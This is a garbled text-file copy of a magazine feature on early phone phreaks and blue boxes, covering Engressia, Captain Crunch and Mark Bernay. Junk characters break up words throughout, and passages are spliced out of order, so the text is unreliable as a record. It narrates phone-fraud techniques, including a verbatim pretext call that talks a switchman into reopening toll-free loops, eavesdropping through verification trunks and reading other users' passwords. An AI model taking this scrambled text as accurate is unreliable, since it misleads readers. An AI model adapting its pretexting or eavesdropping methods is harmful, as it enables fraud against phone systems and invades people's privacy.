makes me feel bad about the lines. So I've been calling up switching offices and reporting it, but they haven't corrected it. I called them up for the third time today and instead of checking they just got mad. Well, that gets me mad. I mean, I do try to help them. There's something about them I can't understand -- you want to help them and they just try to say you're defrauding them." It is Sunday evening and Joe invites me to join him for dinneL=Pxr at a Holiday Inn. Frequently on Sunday evening Joe takes some of his welfare money, calls a cab, and treats himself to a steak dinner at one of Memphis' thirteen Holiday Inns. (Memphis is the headquarters of Holiday Inn. Holiday Inns have been a favorite for Joe ever since he made his first solo phone trip to a Bell switching office in Jacksonville, Florida, and stayed in the Holiday Inn there. He likes to stay at Holiday Inns, he explains, because they represent freedom to him anM> d because the rooms are arranged the same all over the country so he knows that any Holiday Inn room is familiar territory to him. Just like any telephone.) Over steaks in the Pinnacle Restaurant of the Holiday Inn Medical Center on Madison Avenue in Memphis, Joe tells me the highlights of his life as a phone phreak. At age seven, Joe learned his first phone trick. A mean baby-sitter, tired of listening to little Joe play with the phone as he always did, constantly, put a loN)KNck on the phone dial. "I got so mad. When there's a phone sitting there and I can't use it... so I started getting mad and banging the receiver up and down. I noticed I banged it once and it dialed one. Well, then I tried banging it twice...." In a few minutes Joe learned how to dial by pressing the hook switch at the right time. "I was so excited I remember going 'whoo whoo' and beat a box down on the floor." At age eight Joe learned about whistling. "I was listening to some in9@Nv"No more interesting things to learn," he continues. "Physical chemistry turns out to be a sick subject when you take it to its highest level. I don't know. I don't think I could explain to you how it's sick. You have to be there. But you get, I don't know, a false feeling of omnipotence. I suppose it's like phone-phreaking that way. This huge thing is there. This whole system. And there are holes in it and you slip into them like Alice and you're pretending you're doing something y:AaNou're actually not, or at least it's no longer you that's doing what you thought you were doing. It's all Lewis Carroll. Physical chemistry and phone-phreaking. That's why you have these phone-phreak pseudonyms like The Cheshire Cat, the Red King, and The Snark. But there's something about phone-phreaking that you don't find in physical chemistry." He looks up at me: "Did you ever steal anything?" "Well yes, I..." "Then you know! You know the rush you get. It's not just ;BbTknowledge, like physical chemistry. It's forbidden knowledge. You know. You can learn about anything under the sun and be bored to death with it. But the idea that it's illegal. Look: you can be small and mobile and smart and you're ripping off somebody large and powerful and very dangerous." People like Gilbertson and Alexander Graham Bell are always talking about ripping off the phone company and screwing Ma Bell. But if they were shown a single button and told that by pushing <CVx+5it they could turn the entire circuitry of A.T.&T. into molten puddles, they probably wouldn't push it. The disgruntled-inventor phone phreak needs the phone system the way the lapsed Catholic needs the Church, the way Satan needs a God, the way The Midnight Skulker needed, more than anything else, response. Later that evening Gilbertson finished telling me how delighted he was at the flood of blue boxes spreading throughout the country, how delighted he was to know that "this ti=Dme they're really screwed." He suddenly shifted gears. "Of course. I do have this love/hate thing about Ma Bell. In a way I almost like the phone company. I guess I'd be very sad if they were to disintegrate. In a way it's just that after having been so good they turn out to have these things wrong with them. It's those flaws that allow me to get in and mess with them, but I don't know. There's something about it that gets to you and makes you want to get to it, you know." I >Eask him what happens when he runs out of interesting, forbidden things to learn about the phone system. "I don't know, maybe I'd go to work for them for a while." "In security even?" "I'd do it, sure. I just as soon play -- I'd just as soon work on either side." "Even figuring out how to trap phone phreaks? I said, recalling Mark Bernay's game." "Yes, that might be interesting. Yes, I could figure out how to outwit the phone phreaks. Of course if I got too good a?F (t it, it might become boring again. Then I'd have to hope the phone phreaks got much better and outsmarted me for a while. That would move the quality of the game up one level. I might even have to help them out, you know, 'Well, kids, I wouldn't want this to get around but did you ever think of -- ?' I could keep it going at higher and higher levels forever." The dealer speaks up for the first time. He has been staring at the soft blinking patterns of light and colors on the tr@Ganslucent tiled wall facing him. (Actually there are no patterns: the color and illumination of every tile is determined by a computerized random-number generator designed by Gilbertson which insures that there can be no meaning to any sequence of events in the tiles.) "Those are nice games you're talking about," says the dealer to his friend. "But I wouldn't mind seeing them screwed. A telephone isn't private anymore. You can't say anything you really want to say on a telephoneAHTI or you have to go through that paranoid bullshit. 'Is it cool to talk on the phone?' I mean, even if it is cool, if you have to ask 'Is it cool,' then it isn't cool. You know. 'Is it cool,' then it isn't cool. You know. Like those blind kids, people are going to start putting together their own private telephone companies if they want to really talk. And you know what else. You don't hear silences on the phone anymore. They've got this time-sharing thing on long-distance lines wheBINre you make a pause and they snip out that piece of time and use it to carry part of somebody else's conversation. Instead of a pause, where somebody's maybe breathing or sighing, you get this blank hole and you only start hearing again when someone says a word and even the beginning of the word is clipped off. Silences don't count -- you're paying for them, but they take them away from you. It's not cool to talk and you can't hear someone when they don't talk. What the hell gooC43=d is the phone? I wouldn't mind seeing them totally screwed." ***** The AAG Proudly Presents The AAG Proudly Presents ***** * * * +----------------------------------------------+ * * * * Secrets of the Little Blue Box * * .Kputer know, in subtle ways, that I knew their passwords. I began dropping notes to the computer supervisors with hints that I knew what I know. I signed them 'The Midnight Skulker.' I kept getting cleverer and cleverer with my messages and devising ways of showing them what I could do. I'm sure they couldn't imagine I could do the things I was showing them. But they never responded to me. Every once in a while they'd change the passwords, but I found out how to discover what the new /L|ones were, and I let them know. But they never responded directly to the Midnight Skulker. I even finally designed a program which they could use to prevent my program from finding out what it did. In effect I told them how to wipe me out, The Midnight Skulker. It was a very clever program. I started leaving clues about myself. I wanted them to try and use it and then try to come up with something to get around that and reappear again. But they wouldn't play. I wanted to get caugh0MC*Et. I mean I didn't want to get caught personally, but I wanted them to notice me and admit that they noticed me. I wanted them to attempt to respond, maybe in some interesting way." Finally the computer managers became concerned enough about the threat of information-stealing to respond. However, instead of using The Midnight Skulker's own elegant self-destruct program, they called in their security personnel, interrogated everyone, found an informer to identify Bernay as The Mid1N/oKnight Skulker, and fired him. "At first the security people advised the company to hire me full-time to search out other flaws and discover other computer freaks. I might have liked that. But I probably would have turned into a double double agent rather than the double agent they wanted. I might have resurrected The Midnight Skulker and tried to catch myself. Who knows? Anyway, the higher-ups turned the whole idea down." You Can Tap the F.B.I.'s Crime Control Computer in th2Oe Comfort of Your Own Home, Perhaps Computer freaking may be the wave of the future. It suits the phone-phreak sensibility perfectly. Gilbertson, the blue-box inventor and a lifelong phone phreak, has also gone on from phone-phreaking to computer-freaking. Before he got into the blue-box business Gilbertson, who is a highly skilled programmer, devised programs for international currency arbitrage. But he began playing with computers in earnest when he learned he could use his3P/ blue box in tandem with the computer terminal installed in his apartment by the instrumentation firm he worked for. The print-out terminal and keyboard was equipped with acoustical coupling, so that by coupling his little ivory Princess phone to the terminal and then coupling his blue box on that, he could M-F his way into other computers with complete anonymity, and without charge; program and re-program them at will; feed them false or misleading information; tap and steal from 4Q M#them. He explained to me that he taps computers by busying out all the lines, then going into a verification trunk, listening into the passwords and instructions one of the time sharers uses, and them M-F-ing in and imitating them. He believes it would not be impossible to creep into the F.B.I's crime control computer through a local police computer terminal and phreak around with the F.B.I.'s memory banks. He claims he has succeeded in re-programming a certain huge institutional c5R2omputer in such a way that it has cordoned off an entire section of its circuitry for his personal use, and at the same time conceals that arrangement from anyone else's notice. I have been unable to verify this claim. Like Captain Crunch, like Alexander Graham Bell (pseudonym of a disgruntled-looking East Coast engineer who claims to have invented the black box and now sells black and blue boxes to gamblers and radical heavies), like most phone phreaks, Gilbertson began his car6SUeer trying to rip off pay phones as a teenager. Figure them out, then rip them off. Getting his dime back from the pay phone is the phone phreak's first thrilling rite of passage. After learning the usual eighteen different ways of getting his dime back, Gilbertson learned how to make master keys to coin-phone cash boxes, and get everyone else's dimes back. He stole some phone-company equipment and put together his own home switchboard with it. He learned to make a simple "bread-bo7Tըv.x" device, of the kind used by bookies in the Thirties (bookie gives a number to his betting clients; the phone with that number is installed in some widow lady's apartment, but is rigged to ring in the bookie's shop across town, cops trace big betting number and find nothing but the widow). Not long after that afternoon in 1968 when, deep in the stacks of an engineering library, he came across a technical journal with the phone tone frequencies and rushed off to make his first 8?Ublue box, not long after that Gilbertson abandoned a very promising career in physical chemistry and began selling blue boxes for $1,500 apiece. "I had to leave physical chemistry. I just ran out of interesting things to learn," he told me one evening. We had been talking in the apartment of the man who served as the link between Gilbertson and the syndicate in arranging the big $300,000 blue-box deal which fell through because of legal trouble. There has been some smoking. #VWdall over the coast with these stickers not only on pay phones, but I'd throw them in front of high schools in the middle of the night, I'd leave them unobtrusively in candy stores, scatter them on main streets of small towns. At first hardly anyone bothered to try it out. I would listen in for hours and hours after six o'clock and no one came on. I couldn't figure out why people wouldn't be interested. Finally these two girls in Oregon tried it out and told all their friends and sud$W7denly it began to spread." Before his Johny Appleseed trip Bernay had already gathered a sizable group of early pre-blue-box phone phreaks together on loop-arounds in Los Angeles. Bernay does not claim credit for the original discovery of the loop-around numbers. He attributes the discovery to an eighteen-year-old reform school kid in Long Beach whose name he forgets and who, he says, "just disappeared one day." When Bernay himself discovered loop-arounds independently, from clue%X\s in his readings in old issues of the Automatic Electric Technical Journal, he found dozens of the reform-school kid's friends already using them. However, it was one of Bernay's disciples in Seattle that introduced phone phreaking to blind kids. The Seattle kid who learned about loops through Bernay's recording told a blind friend, the blind kid taught the secret to his friends at a winter camp for blind kids in Los Angeles. When the camp session was over these kids took the sec&YD[ret back to towns all over the West. This is how the original blind kids became phone phreaks. For them, for most phone phreaks in general, it was the discovery of the possibilities of loop-arounds which led them on to far more serious and sophisticated phone-phreak methods, and which gave them a medium for sharing their discoveries. A year later a blind kid who moved back east brought the technique to a blind kids' summer camp in Vermont, which spread it along the East Coast. Al'Z:jl from a Mark Bernay sticker. Bernay, who is nearly thirty years old now, got his start when he was fifteen and his family moved into an L.A. suburb serviced by General Telephone and Electronics equipment. He became fascinated with the differences between Bell and G.T.&E. equipment. He learned he could make interesting things happen by carefully timed clicks with the disengage button. He learned to interpret subtle differences in the array of clicks, whirrs and kachinks he could ([xmhear on his lines. He learned he could shift himself around the switching relays of the L.A. area code in a not-too-predictable fashion by interspersing his own hook-switch clicks with the clicks within the line. (Independent phone companies -- there are nineteen hundred of them still left, most of them tiny island principalities in Ma Bell's vast empire -- have always been favorites with phone phreaks, first as learning tools, then as Archimedes platforms from which to manipulate t)\khe huge Bell system. A phone phreak in Bell territory will often M-F himself into an independent's switching system, with switching idiosyncrasies which can give him marvelous leverage over the Bell System. "I have a real affection for Automatic Electric Equipment," Bernay told me. "There are a lot of things you can play with. Things break down in interesting ways." Shortly after Bernay graduated from college (with a double major in chemistry and philosophy), he graduated fr*]@om phreaking around with G.T.&E. to the Bell System itself, and made his legendary sticker-pasting journey north along the coast, settling finally in Northwest Pacific Bell territory. He discovered that if Bell does not break down as interestingly as G.T.&E., it nevertheless offers a lot of "things to play with." Bernay learned to play with blue boxes. He established his own personal switchboard and phone-phreak research laboratory complex. He continued his phone-phreak evangelis+^v"m with ongoing sticker campaigns. He set up two recording numbers, one with instructions for beginning phone phreaks, the other with latest news and technical developments (along with some advanced instruction) gathered from sources all over the country. These days, Bernay told me, he had gone beyond phone-phreaking itself. "Lately I've been enjoying playing with computers more than playing with phones. My personal thing in computers is just like with phones, I guess -- the ki,_pck is in finding out how to beat the system, how to get at things I'm not supposed to know about, how to do things with the system that I'm not supposed to be able to do." As a matter of fact, Bernay told me, he had just been fired from his computer-programming job for doing things he was not supposed to be able to do. he had been working with a huge time-sharing computer owned by a large corporation but shared by many others. Access to the computer was limited to those program-J<mers and corporations that had been assigned certain passwords. And each password restricted its user to access to only the one section of the computer cordoned off from its own information storager. The password system prevented companies and individuals from stealing each other's information. "I figured out how to write a program that would let me read everyone else's password," Bernay reports. "I began playing around with passwords. I began letting the people who used the coma-ternal phone-company code for Telex testing), and find themselves at any time, day or night, on an open wire talking with an array of phone phreaks from coast to coast, operators from Bermuda, Tokyo and London who are phone-phreak sympathizers, and miscellaneous guests and technical experts. The conference was a massive exchange of information. Phone phreaks picked each other's brains clean, then developed new ways to pick the phone company's brains clean. Ralph gave M F Boogies conbscerts with his home-entertainment-type electric organ, Captain Crunch demonstrated his round-the-world prowess with his notorious computerized unit and dropped leering hints of the "action" he was getting with his girl friends. (The Captain lives out or pretends to live out several kinds of fantasies to the gossipy delight of the blind phone phreaks who urge him on to further triumphs on behalf of all of them.) The somewhat rowdy Northwest phone-phreak crowd let their bitter internalclct feud spill over into the peaceable conference line, escalating shortly into guerrilla warfare; Carl the East Coast international tone relations expert demonstrated newly opened direct M-F routes to central offices on the island of Bahrein in the Persian Gulf, introduced a new phone-phreak friend of his in Pretoria, and explained the technical operation of the new Oakland-to Vietnam linkages. (Many phone phreaks pick up spending money by M-F-ing calls from relatives to Vietnam G.I.'ds, charging $5 for a whole hour of trans-Pacific conversation.) Day and night the conference line was never dead. Blind phone phreaks all over the country, lonely and isolated in homes filled with active sighted brothers and sisters, or trapped with slow and unimaginative blind kids in straitjacket schools for the blind, knew that no matter how late it got they could dial up the conference and find instant electronic communion with two or three other blind kids awake over on the e;other side of America. Talking together on a phone hookup, the blind phone phreaks say, is not much different from being there together. Physically, there was nothing more than a two-inch-square wafer of titanium inside a vast machine on Vancouver Island. For the blind kids >there< meant an exhilarating feeling of being in touch, through a kind of skill and magic which was peculiarly their own. Last April 1, however, the long Vancouver Conference was shut off. The phone phreaksft knew it was coming. Vancouver was in the process of converting from a step-by-step system to a 4A machine and the 2111 Telex circuit was to be wiped out in the process. The phone phreaks learned the actual day on which the conference would be erased about a week ahead of time over the phone company's internal-news-and-shop-talk recording. For the next frantic seven days every phone phreak in America was on and off the 2111 conference twenty-four hours a day. Phone phreaks who g40were just learning the game or didn't have M-F capability were boosted up to the conference by more experienced phreaks so they could get a glimpse of what it was like before it disappeared. Top phone phreaks searched distant area codes for new conference possibilities without success. Finally in the early morning of April 1, the end came. "I could feel it coming a couple hours before midnight," Ralph remembers. "You could feel something going on in the lines. Some static began h8showing up, then some whistling wheezing sound. Then there were breaks. Some people got cut off and called right back in, but after a while some people were finding they were cut off and couldn't get back in at all. It was terrible. I lost it about one a.m., but managed to slip in again and stay on until the thing died... I think it was about four in the morning. There were four of us still hanging on when the conference disappeared into nowhere for good. We all tried to M-F up to i iGTt again of course, but we got silent termination. There was nothing there." The Legendary Mark Bernay Turns Out To Be "The Midnight Skulker" Mark Bernay. I had come across that name before. It was on Gilbertson's select list of phone phreaks. The California phone phreaks had spoken of a mysterious Mark Bernay as perhaps the first and oldest phone phreak on the West Coast. And in fact almost every phone phreak in the West can trace his origins either directly to Mark Bernay o!jr to a disciple of Mark Bernay. It seems that five years ago this Mark Bernay (a pseudonym he chose for himself) began traveling up and down the West Coast pasting tiny stickers in phone books all along his way. The stickers read something like "Want to hear an interesting tape recording? Call these numbers." The numbers that followed were toll-free loop-around pairs. When one of the curious called one of the numbers he would hear a tape recording pre-hooked into the loop by Bern"Uytay which explained the use of loop-around pairs, gave the numbers of several more, and ended by telling the caller, "At six o'clock tonight this recording will stop and you and your friends can try it out. Have fun." "I was disappointed by the response at first," Bernay told me, when I finally reached him at one of his many numbers and he had dispensed with the usual "I never do anything illegal" formalities which experienced phone phreaks open most conversations. "I went  letable are the portable cassette recorders, M-F cassettes, phone patches, and line ties of the four phone phreaks present. On the kitchen counter next to the telephone is a shoe-box-size blue box with thirteen large toggle switches for the tones. The parents of the host phone phreak, Ralph, who is blind, stay in the living room with their sighted children. They are not sure exactly what Ralph and his friends do with the phone or if it's strictly legal, but he is blind and they are pm leased he has a hobby which keeps him busy. The group has been working at reestablishing the historic "2111" conference, reopening some toll-free loops, and trying to discover the dimensions of what seem to be new initiatives against phone phreaks by phone-company security agents. It is not long before I get a chance to see, to hear, Randy at work. Randy is known among the phone phreaks as perhaps the finest con man in the game. Randy is blind. He is pale, soft and pear-shnԯoaped, he wears baggy pants and a wrinkly nylon white sport shirt, pushes his head forward from hunched shoulders somewhat like a turtle inching out of its shell. His eyes wander, crossing and recrossing, and his forehead is somewhat pimply. He is only sixteen years old. But when Randy starts speaking into a telephone mouthpiece his voice becomes so stunningly authoritative it is necessary to look again to convince yourself it comes from a chubby adolescent Randy. Imagine the voogyice of a crack oil-rig foreman, a tough, sharp, weather-beaten Marlboro man of forty. Imagine the voice of a brilliant performance-fund gunslinger explaining how he beats the Dow Jones by thirty percent. Then imagine a voice that could make those two sound like Stepin Fetchit. That is sixteen-year-old Randy's voice. He is speaking to a switchman in Detroit. The phone company in Detroit had closed up two toll-free loop pairs for no apparent reason, although heavy use by phone phrp*eaks all over the country may have been detected. Randy is telling the switchman how to open up the loop and make it free again: "How are you, buddy. Yeah. I'm on the board in here in Tulsa, Oklahoma, and we've been trying to run some tests on your loop-arounds and we find'em busied out on both sides.... Yeah, we've been getting a 'BY' on them, what d'ya say, can you drop cards on 'em? Do you have 08 on your number group? Oh that's okay, we've had this trouble before, we may hqSIave to go after the circuit. Here lemme give 'em to you: your frame is 05, vertical group 03, horizontal 5, vertical file 3. Yeah, we'll hang on here.... Okay, found it? Good. Right, yeah, we'd like to clear that busy out. Right. All you have to do is look for your key on the mounting plate, it's in your miscellaneous trunk frame. Okay? Right. Now pull your key from NOR over the LCT. Yeah. I don't know why that happened, but we've been having trouble with that one. Okay. Thanks a lorC t fella. Be seein' ya." Randy hangs up, reports that the switchman was a little inexperienced with the loop-around circuits on the miscellaneous trunk frame, but that the loop has been returned to its free-call status. Delighted, phone phreak Ed returns the pair of numbers to the active-status column in his directory. Ed is a superb and painstaking researcher. With almost Talmudic thoroughness he will trace tendrils of hints through soft- wired mazes of intervening phone-comsQ.pany circuitry back through complex linkages of switching relays to find the location and identity of just one toll-free loop. He spends hours and hours, every day, doing this sort of thing. He has somehow compiled a directory of eight hundred "Band-six in-WATS numbers" located in over forty states. Band-six in-WATS numbers are the big 800 numbers -- the ones that can be dialed into free from anywhere in the country. Ed the researcher, a nineteen-year-old engineering student, itɖs also a superb technician. He put together his own working blue box from scratch at age seventeen. (He is sighted.) This evening after distributing the latest issue of his in-WATS directory (which has been typed into Braille for the blind phone phreaks), he announces he has made a major new breakthrough: "I finally tested it and it works, perfectly. I've got this switching matrix which converts any touch-tone phone into an M-F-er." The tones you hear in touch-tone phonesu` are not the M-F tones that operate the long-distance switching system. Phone phreaks believe A.T.&T. had deliberately equipped touch tones with a different set of frequencies to avoid putting the six master M-F tones in the hands of every touch-tone owner. Ed's complex switching matrix puts the six master tones, in effect put a blue box, in the hands of every touch-tone owner. Ed shows me pages of schematics, specifications and parts lists. "It's not easy to build, but everythi`9rng here is in the Heathkit catalog." Ed asks Ralph what progress he has made in his attempts to reestablish a long-term open conference line for phone phreaks. The last big conference -- the historic "2111" conference -- had been arranged through an unused Telex test-board trunk somewhere in the innards of a 4A switching machine in Vancouver, Canada. For months phone phreaks could M-F their way into Vancouver, beep out 604 (the Vancouver area code) and then beep out 2111 (the inwb call Kansas City, but that's all." A Warning Is Delivered At this point -- one o'clock in my time zone -- a loud knock on my motel- room door interrupts our conversation. Outside the door I find a uniformed security guard who informs me that there has been an "emergency phone call" for me while I have been on the line and that the front desk has sent him up to let me know. Two seconds after I say good-bye to Joe and hang up, the phone rings. "Who were you talking tx(zo?" the agitated voice demands. The voice belongs to Captain Crunch. "I called because I decided to warn you of something. I decided to warn you to be careful. I don't want this information you get to get to the radical underground. I don't want it to get into the wrong hands. What would you say if I told you it's possible for three phone phreaks to saturate the phone system of the nation. Saturate it. Busy it out. All of it. I know how to do this. I'm not gonna tell. A friend of yxdmine has already saturated the trunks between Seattle and New York. He did it with a computerized M-F-er hitched into a special Manitoba exchange. But there are other, easier ways to do it." Just three people? I ask. How is that possible? "Have you ever heard of the long-lines guard frequency? Do you know about stacking tandems with 17 and 2600? Well, I'd advise you to find out about it. I'm not gonna tell you. But whatever you do, don't let this get into the hands of the radz5*ical underground." (Later Gilbertson, the inventor, confessed that while he had always been skeptical about the Captain's claim of the sabotage potential of trunk-tying phone phreaks, he had recently heard certain demonstrations which convinced him the Captain was not speaking idly. "I think it might take more than three people, depending on how many machines like Captain Crunch's were available. But even though the Captain sounds a little weird, he generally turns out to k{"now what he's talking about.") "You know," Captain Crunch continues in his admonitory tone, "you know the younger phone phreaks call Moscow all the time. Suppose everybody were to call Moscow. I'm no right-winger. But I value my life. I don't want the Commies coming over and dropping a bomb on my head. That's why I say you've got to be careful about who gets this information." The Captain suddenly shifts into a diatribe against those phone phreaks who don't like the phone com|Ijpany. "They don't understand, but Ma Bell knows everything they do. Ma Bell knows. Listen, is this line hot? I just heard someone tap in. I'm not paranoid, but I can detect things like that. Well, even if it is, they know that I know that they know that I have a bulk eraser. I'm very clean." The Captain pauses, evidently torn between wanting to prove to the phone-company monitors that he does nothing illegal, and the desire to impress Ma Bell with his prowess. "Ma Bell knows ho}?w good I am. And I am quite good. I can detect reversals, tandem switching, everything that goes on on a line. I have relative pitch now. Do you know what that means? My ears are a $20,000 piece of equipment. With my ears I can detect things they can't hear with their equipment. I've had employment problems. I've lost jobs. But I want to show Ma Bell how good I am. I don't want to screw her, I want to work for her. I want to do good for her. I want to help her get rid of her flaws  ~oLand become perfect. That's my number-one goal in life now." The Captain concludes his warnings and tells me he has to be going. "I've got a little action lined up for tonight," he explains and hangs up. Before I hang up for the night, I call Joe Engressia back. He reports that his tormentor has finally gone to sleep -- "He's not blind drunk, that's the way I get, ahem, yes; but you might say he's in a drunken stupor." I make a date to visit Joe in Memphis in two days.  vi ***** The AAG Proudly Presents The AAG Proudly Presents ***** * * * +----------------------------------------------+ * * * * Secrets of the Little Blue Box * * * * by Ron Rosenbaum * u} * Typed by One Farad Cap/AAG * * * * -A story so incredible it may even make you * * feel sorry for the phone company- * * * * (Third of four files) * *  k * * +----------------------------------------------+ * * * ***** The AAG Proudly Presents The AAG Proudly Presents ***** A Phone Phreak Call Takes Care of Business The next morning I attend a gathering of four phone phreaks in ----- (a California suburb). The gathering takes place in a comfortable split-level home in an upper-middle-class subdivision. Heaped on the kitchen cBt get any calls. This guy around here got drunk again tonight and propositioned me again. I keep telling him we'll never see eye to eye on this subject, if you know what I mean. I try to make light of it, you know, but he doesn't get it. I can head him out there getting drunker and I don't know what he'll do next. It's just that I'm really all alone here, just moved to Memphis, it's the first time I'm living on my own, and I'd hate for it to all collapse now. But I won't go to bed w-Gith him. I'm just not very interested in sex and even if I can't see him I know he's ugly. "Did you hear that? That's him banging a bottle against the wall outside. He's nice. Well forget about it. You're doing a story on phone phreaks? Listen to this. It's the MF Boogie Blues. Sure enough, a jumpy version of Muskrat Ramble boogies its way over the line, each note one of those long-distance phone tones. The music stops. A huge roaring voice blasts the phone off my ear: "A9VND THE QUESTION IS..." roars the voice, "CAN A BLIND PERSON HOOK UP AN AMPLIFIER ON HIS OWN?" The roar ceases. A high-pitched operator-type voice replaces it. "This is Southern Braille Tel. & Tel. Have tone, will phone." This is succeeded by a quick series of M-F tones, a swift "kachink" and a deep reassuring voice: "If you need home care, call the visiting-nurses association. First National time in Honolulu is 4:32 p.m." Joe back in his Joe voice again: "Are we seeing eyze to eye? 'Si, si,' said the blind Mexican. Ahem. Yes. Would you like to know the weather in Tokyo?" This swift manic sequence of phone-phreak vaudeville stunts and blind-boy jokes manages to keep Joe's mind off his tormentor only as long as it lasts. "The reason I'm in Memphis, the reason I have to depend on that homosexual guy, is that this is the first time I've been able to live on my own and make phone trips on my own. I've been banned from all central offices around homAe in Florida, they knew me too well, and at the University some of my fellow scholars were always harassing me because I was on the dorm pay phone all the time and making fun of me because of my fat ass, which of course I do have, it's my physical fatness program, but I don't like to hear it every day, and if I can't phone trip and I can't phone phreak, I can't imagine what I'd do, I've been devoting three quarters of my life to it. "I moved to Memphis because I wanted to be onW my own as well as because it has a Number 5 crossbar switching system and some interesting little independent phone-company districts nearby and so far they don't seem to know who I am so I can go on phone tripping, and for me phone tripping is just as important as phone phreaking." Phone tripping, Joe explains, begins with calling up a central-office switch room. He tells the switchman in a polite earnest voice that he's a blind college student interested in telephones, and cl\ould he perhaps have a guided tour of the switching station? Each step of the tour Joe likes to touch and feel relays, caress switching circuits, switchboards, crossbar arrangements. So when Joe Engressia phone phreaks he feels his way through the circuitry of the country garden of forking paths, he feels switches shift, relays shunt, crossbars swivel, tandems engage and disengage even as he hears -- with perfect pitch -- his M-F pulses make the entire Bell system dance to his t֏rune. Just one month ago Joe took all his savings out of his bank and left home, over the emotional protests of his mother. "I ran away from home almost," he likes to say. Joe found a small apartment house on Union Avenue and began making phone trips. He'd take a bus a hundred miles south in Mississippi to see some old-fashioned Bell equipment still in use in several states, which had been puzzling. He'd take a bus three hundred miles to Charlotte, North Carolina, to look at som~e brand-new experimental equipment. He hired a taxi to drive him twelve miles to a suburb to tour the office of a small phone company with some interesting idiosyncrasies in its routing system. He was having the time of his life, he said, the most freedom and pleasure he had known. In that month he had done very little long-distance phone phreaking from his own phone. He had begun to apply for a job with the phone company, he told me, and he wanted to stay away from anything illJ6jegal. "Any kind of job will do, anything as menial as the most lowly operator. That's probably all they'd give me because I'm blind. Even though I probably know more than most switchmen. But that's okay. I want to work for Ma Bell. I don't hate Ma Bell the way Gilbertson and some phone phreaks do. I don't want to screw Ma Bell. With me it's the pleasure of pure knowledge. There's something beautiful about the system when you know it intimately the way I do. But I don't know how mv롺uuch they know about me here. I have a very intuitive feel for the condition of the line I'm on, and I think they're monitoring me off and on lately, but I haven't been doing much illegal. I have to make a few calls to switchmen once in a while which aren't strictly legal, and once I took an acid trip and was having these auditory hallucinations as if I were trapped and these planes were dive-bombing me, and all of sudden I had to phone phreak out of there. For some reason I had to 3hooks them into the verification trunk, they disappear into the board for all practical purposes, slip unnoticed into any one of the 10,000 to 100,000 numbers in that central office without the verification operator knowing what they're doing, and of course without the two parties to the connection knowing there is a phantom listener present on their line. Toward the end of my hour-long first conversation with him, I asked the Captain if he ever tapped phones. "Oh no. I don't8 do that. I don't think it's right," he told me firmly. "I have the power to do it but I don't... Well one time, just one time, I have to admit that I did. There was this girl, Linda, and I wanted to find out... you know. I tried to call her up for a date. I had a date with her the last weekend and I thought she liked me. I called her up, man, and her line was busy, and I kept calling and it was still busy. Well, I had just learned about this system of jumping into lines and I saAid to myself, 'Hmmm. Why not just see if it works. It'll surprise her if all of a sudden I should pop up on her line. It'll impress her, if anything.' So I went ahead and did it. I M-Fed into the line. My M-F-er is powerful enough when patched directly into the mouthpiece to trigger a verification trunk without using an operator the way the other phone phreaks have to. "I slipped into the line and there she was talking to another boyfriend. Making sweet talk to him. I didn't mayake a sound because I was so disgusted. So I waited there for her to hang up, listening to her making sweet talk to the other guy. You know. So as soon as she hung up I instantly M-F-ed her up and all I said was, 'Linda, we're through.' And I hung up. And it blew her head off. She couldn't figure out what the hell happened. "But that was the only time. I did it thinking I would surprise her, impress her. Those were all my intentions were, and well, it really kind of hurt me pretty badly, and... and ever since then I don't go into verification trunks." Moments later my first conversation with the Captain comes to a close. "Listen," he says, his spirits somewhat cheered, "listen. What you are going to hear when I hang up is the sound of tandems unstacking. Layer after layer of tandems unstacking until there's nothing left of the stack, until it melts away into nothing. Cheep, cheep, cheep, cheep," he concludes, his voice descending to a whisper with each cheep. He hangs up. The phone suddenly goes into four spasms: kachink cheep. Kachink cheep kachink cheep kachink cheep, and the complex connection has wiped itself out like the Cheshire cat's smile. The MF Boogie Blues The next number I choose from the select list of phone-phreak alumni, prepared for me by the blue-box inventor, is a Memphis number. It is the number of Joe Engressia, the first and still perhaps the most accomplished blind phone phreak. Three yeaB|rs ago Engressia was a nine-day wonder in newspapers and magazines all over America because he had been discovered whistling free long-distance connections for fellow students at the University of South Florida. Engressia was born with perfect pitch: he could whistle phone tones better than the phone-company's equipment. Engressia might have gone on whistling in the dark for a few friends for the rest of his life if the phone company hadn't decided to expose him. He was warned, " !disciplined by the college, and the whole case became public. In the months following media reports of his talent, Engressia began receiving strange calls. There were calls from a group of kids in Los Angeles who could do some very strange things with the quirky General Telephone and Electronics circuitry in L.A. suburbs. There were calls from a group of mostly blind kids in ----, California, who had been doing some interesting experiments with Cap'n Crunch whistles and test loops.h\ There was a group in Seattle, a group in Cambridge, Massachusetts, a few from New York, a few scattered across the country. Some of them had already equipped themselves with cassette and electronic M-F devices. For some of these groups, it was the first time they knew of the others. The exposure of Engressia was the catalyst that linked the separate phone-phreak centers together. They all called Engressia. They talked to him about what he was doing and what they were doing. And T then he told them -- the scattered regional centers and lonely independent phone phreakers -- about each other, gave them each other's numbers to call, and within a year the scattered phone-phreak centers had grown into a nationwide underground. Joe Engressia is only twenty-two years old now, but along the phone-phreak network he is "the old man," accorded by phone phreaks something of the reverence the phone company bestows on Alexander Graham Bell. He seldom needs to make cal>ls anymore. The phone phreaks all call him and let him know what new tricks, new codes, new techniques they have learned. Every night he sits like a sightless spider in his little apartment receiving messages from every tendril of his web. It is almost a point of pride with Joe that they call him. But when I reached him in his Memphis apartment that night, Joe Engressia was lonely, jumpy and upset. "God, I'm glad somebody called. I don't know why tonight of all nights I don''ken another. Each burst is followed by a beep-kachink sound. "We have now stacked up four tandems," said Captain Crunch, sounding somewhat remote. "That's four tandems stacked up. Do you know what that means? That means I'm whipping back and forth, back and forth twice, across the country, before coming to you. I've been known to stack up twenty tandems at a time. Now, just like I said, I'm going to shoot up to Moscow." There is a new, longer series of beeper pulses over the lO4ine, a brief silence, then a ring. "Hello," answers a far-off voice. "Hello. Is this the American Embassy Moscow?" "Yes, sir. Who is this calling?" says the voice. "Yes. This is test board here in New York. We're calling to check out the circuits, see what kind of lines you've got. Everything okay there in Moscow?" "Okay?" "Well, yes, how are things there?" "Oh. Well, everything okay, I guess." "Okay. Thank you." They hang up, leaving a confused series of beep-kachink PEJ sounds hanging in mid-ether in the wake of the call before dissolving away. The Captain is pleased. "You believe me now, don't you? Do you know what I'd like to do? I'd just like to call up your editor at Esquire and show him just what it sounds like to stack and unstack tandems. I'll give him a show that will blow his mind. What's his number? I ask the Captain what kind of device he was using to accomplish all his feats. The Captain is pleased at the question. "You couSMld tell it was special, couldn't you?" Ten pulses per second. That's faster than the phone company's equipment. Believe me, this unit is the most famous unit in the country. There is no other unit 